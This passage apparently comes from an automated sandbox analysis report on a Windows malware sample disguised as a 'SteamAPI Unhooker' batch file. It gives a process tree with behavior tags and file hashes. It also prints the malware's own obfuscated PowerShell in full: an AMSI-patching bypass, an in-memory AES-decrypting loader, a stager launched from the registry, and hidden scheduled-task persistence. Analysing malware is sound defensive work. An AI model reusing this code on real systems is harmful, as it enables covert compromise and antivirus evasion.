$_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+'f'+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'nsa'+'f'+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$tkVTlkSrYoAqOX=$LfhTNAavYhWOb.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+'d'+''+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+''+'S'+''+'t'+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SaSEcIxCuVAlKzbddjk=GltjFXMlvWca @([String])([IntPtr]);$HmdVDdXquEAWmDMjvpbgoO=GltjFXMlvWca @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QHlCTCWFNUf=$LfhTNAavYhWOb.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'Ha'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$XKyNmjxQMiAFWU=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$QHlCTCWFNUf,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+'b'+'r'+[Char](97)+'r'+'y'+''+'A'+'')));$bWzSjKjhbzFNVvjjH=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$QHlCTCWFNUf,[Object](''+'V'+'i'+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$fMTzYjj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XKyNmjxQMiAFWU,$SaSEcIxCuVAlKzbddjk).Invoke('a'+'m'+''+'s'+'i'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$FHYpRawSnVPHrnDIR=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$fMTzYjj,[Object](''+'A'+''+'m'+'s'+[Char](105)+'S'+'c'+'a'+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'er')));$sKIdMnejxT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWzSjKjhbzFNVvjjH,$HmdVDdXquEAWmDMjvpbgoO).Invoke($FHYpRawSnVPHrnDIR,[uint32]8,4,[ref]$sKIdMnejxT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FHYpRawSnVPHrnDIR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWzSjKjhbzFNVvjjH,$HmdVDdXquEAWmDMjvpbgoO).Invoke($FHYpRawSnVPHrnDIR,[uint32]8,0x20,[ref]$sKIdMnejxT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+'A'+'R'+'E').GetValue(''+'$'+'77'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4072
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1132
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:1140
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1208
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1292
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c:\windows\system32\sihost.exesihost.exe2⤵PID:2952
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1324
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1388
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1396
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1496
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1548
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1556
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1604
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1836
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1900
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1992
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1308
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:2080
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2256
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2272
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2288
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2388
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2408
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2424
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2432
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2444
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2476
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2548
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:2944
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2980
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3188
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3284
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_817_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_817.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_817.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_817.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4716
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_817.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_817.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
PID:4444
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C:\Users\Admin\AppData\Local\Temp\New.exe"C:\Users\Admin\AppData\Local\Temp\New.exe"7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:4528
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SybViDMmHlQl.bat" "7⤵PID:3636
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:2812
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C:\Windows\SysWOW64\chcp.comchcp 650018⤵PID:4244
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C:\Windows\SysWOW64\PING.EXEping -n 10 localhost8⤵
- Runs ping.exe
PID:3440
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3796
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4012
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4740
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:3792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4116
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2472
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:4636
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4552
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:1760
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:1316
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:3212
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C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1452
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:776
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5ac3d19fbb5c5f10833f1882308f77548
SHA1ac880466fd99a5719fedc7289b00d78ba7088e06
SHA2563353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df
SHA512b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b
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Filesize
17KB
MD5465ec9d670c5e7cc2338a821a9cbaefe
SHA19ce43163c45051a781fed07a659f849ab21b7835
SHA2566b7d75bf8fc573cc3e2ebb16b6dc634821e93c172157a890daa71c24838632b2
SHA5121062dedbf1fc15bf717149ad56b7d7d8ab7391f4da350314a1c7221cee391f8358b3a5a3fb109349ee9cde69fd4d0a0a6a3ad25df1b8ba380c9b9dd16ceb7e2c
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Filesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
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Filesize
409KB
MD5cf570b21f42f0ce411b7c9961068931e
SHA1f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d
SHA256d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234
SHA512de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684
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Filesize
276B
MD5c015fdc361eeeb71cb0244e420b2ef89
SHA122d97ffc632bcd2b4481383d040eaba38d111f13
SHA256bd7e8174609f6ca1a59d3ffe0194af72103762fa58fdc87f16dd6c1a9844c7f8
SHA512a26bea5ae843d9e302f972aa34a2f6e05e03f1e479c999475ce7784942a735b1fc74dc3eb2c5a1123439168a176d7dfad05c57f5c09147f9ae30bc4ebcd48fea
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
224B
MD5668c9d9256a82a28f5769c6010a48665
SHA1514feb1105a5c6e4e0c877bab7ae7283877ca9e6
SHA256f797408c1bbf907851fa5501093fbee68506eace9ef2439e9dba5ac61a262daa
SHA512b22c4662ee5e89a7509af58b4ebcab4d4df8bae8fbc37dd17da42ed970adbcdc2abb5b24dabfa888680a164d69a3dda1c3bf2bfa42dc39f973e8828a27f6a5af
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Filesize
1002KB
MD5f6d5bfaee8a55ff72c7b453fda066d62
SHA17d737d53013990e5d05076b7206e43eb4793fc7f
SHA2563ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
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Filesize
115B
MD5af3b7323ae40be47582f3d8ccab8120c
SHA1c1ee2a6f5e92f32df41da9e44fe48ecab9f967fd
SHA256e2b510081177244136bbdd64ca178db9be492354945121cd2d09dc8729423340
SHA5124dbc9ba62e28e8615b3302d37a954eeb493b444fa582b4c8dc22426b680c2d2debe8c785e6df630694c549d81d28aa3b08eb8e6cb68df8d17d379879d634aa54
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize412B
MD548834f416d76621ea289ca1263d613ec
SHA18badffc9d8ee257ec4b8f8d506f690fb86ce781e
SHA2569dfdc67a40014892d0af20b130ade05058418d3d4295f628d39cb898b8dedf58
SHA51263b7bf38b7572f975bbb18c8ccb32aea344fd404d9037884ab60359dc87662bf175958b5851c2d50f32d3e2d436a887d71ccc8516b9c4f337577ef4dc88a26e4